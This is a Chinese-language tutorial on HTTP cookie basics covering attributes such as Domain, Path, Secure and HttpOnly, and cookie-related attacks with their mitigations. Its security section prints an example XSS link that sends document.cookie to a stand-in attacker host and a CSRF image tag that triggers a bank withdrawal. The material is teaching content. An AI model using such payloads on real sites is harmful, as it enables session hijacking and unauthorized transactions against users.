Cookie基础知识

1. 前言

Web应用的客户端与服务端交互的时候,很重要的一个问题就是标识客户端的浏览器。最初的做法是在页面中插入参数,并在下一个请求中传回参数。这需要使用包含参数的隐藏的表单,或者作为URL参数一部分传递。这两种做法都比较麻烦,在1994年网景公司员工Lou Montulli将”cookies”概念引入网络通信。

2. 什么是cookie

cookie名字是“甜品”,我们可以理解为访问之前访问过的网站时它辨认出我们,会让我们感觉亲切,就像吃了甜点。

由于http是无状态的协议,一旦客户端和服务器的数据交换完毕,就会断开连接,再次请求,会重新连接,这就说明服务器单从网络连接上是没有办法知道用户身份的。怎么办呢?那就给每次新的用户请求时,给它颁发一个身份证(独一无二)吧,下次访问,必须带上身份证,这样服务器就会知道是谁来访问了,针对不同用户,做出不同的响应。,这就是Cookie的原理。

具体说,cookie知识一个很小的文本文件,时浏览器储存在用户机器上的。Cookie是纯文本,可以当作用户的身份证。

img
img

如图所示,用户首次访问服务器,服务器会返回一个独一无二的识别码;id=23451,这样服务器可以用这个码跟踪记录用户的信息,(购物历史,地址信息等)。

cookie可以包含任意的信息,不仅仅是id,客户端会记录服务器返回来的Set-Cookie首部中的cookie内容。并将cookie存储在浏览器的cookie数据库中,当用户访问同一站点时,浏览器就会挑选当时该站点颁发的id=XXX的身份证(cookie),并在Cookie请求首部发送过去。

3. cookie的类型

  • 会话cookie
  • 持久cookie

会话cookie是一种临时cookie,用户退出浏览器,会话Cookie就会被删除了,持久cookie则会储存在硬盘里,保留时间更长,关闭浏览器,重启电脑,它依然存在,通常是持久性的cookie会维护某一个用户周期性访问服务器的配置文件或者登录信息。

4. cookie的属性

cookie的域

产生Cookie的服务器可以向set-Cookie响应首部添加一个Domain属性来控制哪些站点可以看到那个cookie,例如下面:

1
Set-Cookie: name="wang"; domain="m.zhuanzhuan.58.com"

如果用户访问的是http://m.zhuanzhuan.58.com那就会发送cookie: name=”wang”, 如果用户访问http://www.aaa.com(非http://zhuanzhuan.58.com)就不会发送这个Cookie。

cookie的路径

同一域名,如果某个文档要特殊处理,可以增加一个属性path。

1
Set-cookie:user="wang", domain="m.zhuanzhuan.58.com"; path=/user/
secure

设置属性secure之后,cookie只有在https协议加密情况下才会发送给服务端。但这不是最安全的,因为固有的不安全性,敏感信息也不应该通过cookie传输。

1
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure;

5. 操作cookie

通过docuemnt.cookie可以设置和获取Cookie的值

1
2
document.cookie = "user=wang";
console.log(document.cookie);

禁止javascript操作cookie(为避免跨域脚本(xss)攻击,通过javascript的document.cookie无法访问带有HttpOnly标记的cookie。)

1
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2017 07:28:00 GMT; Secure; HttpOnly

6. 第三方cookie

第三方网站在页面中插入一个图片,请求图片时设置cookie。

7. 安全相关

多数网站使用cookie作为用户会话的唯一标识,因为其他的方法具有限制和漏洞。如果一个网站使用cookies作为会话标识符,攻击者可以通过窃取一套用户的cookies来冒充用户的请求。从服务器的角度,它是没法分辨用户和攻击者的,因为用户和攻击者拥有相同的身份验证。

网络窃听

网络上的流量可以被网络上任何计算机拦截,特别是未加密的开放式WIFI。这种流量包含在普通的未加密的HTTP清求上发送Cookie。在未加密的情况下,攻击者可以读取网络上的其他用户的信息,包含HTTP Cookie的全部内容,以便进行中间的攻击。比如:拦截cookie来冒充用户身份执行恶意任务(银行转账等)。

解决办法:服务器可以设置secure属性的cookie,这样就只能通过https的方式来发送cookies了。

DNS缓存中毒

如果攻击者可以使DNS缓存中毒,那么攻击者就可以访问用户的Cookie了,例如:攻击者使用DNS中毒来创建一个虚拟的NDS服务http://h123456.www.demo.com指向攻击者服务器的ip地址。然后攻击者可以从服务器 http://h123456.www.demo.com/img_01.png 发布图片。用户访问这个图片,由于 http://www.demo.comhttp://h123456.www.demo.com是同一个子域,所以浏览器会把用户的与http://www.demo.com相关的cookie都会发送到http://h123456.www.demo.com这个服务器上,这样攻击者就会拿到用户的cookie搞事情。

一般情况下是不会发生这种情况,通常是网络供应商错误。

跨站点脚本XSS

使用跨站点脚本技术可以窃取cookie。当网站允许使用javascript操作cookie的时候,就会发生攻击者发布恶意代码攻击用户的会话,同时可以拿到用户的cookie信息。

例子:

1
<a href="#" onclick=`window.location=http://abc.com?cookie=${docuemnt.cookie}`>领取红包</a>

当用户点击这个链接的时候,浏览器就会执行onclick里面的代码,结果这个网站用户的cookie信息就会被发送到http://abc.com攻击者的服务器。攻击者同样可以拿cookie搞事情。

解决办法:可以通过cookie的HttpOnly属性,设置了HttpOnly属性,javascript代码将不能操作cookie。

跨站请求伪造CSRF

例如,SanShao可能正在浏览其他用户XiaoMing发布消息的聊天论坛。假设XiaoMing制作了一个引用ShanShao银行网站的HTML图像元素,例如,

1
<img src = "http://www.bank.com/withdraw?user=SanShao&amount=999999&for=XiaoMing" >

如果SanShao的银行将其认证信息保存在cookie中,并且cookie尚未过期,(当然是没有其他验证身份的东西),那么SanShao的浏览器尝试加载该图片将使用他的cookie提交提款表单,从而在未经SanShao批准的情况下授权交易。

解决办法:增加其他信息的校验(手机验证码,或者其他盾牌)。

参考资料

  1. 这一次带你彻底了解Cookie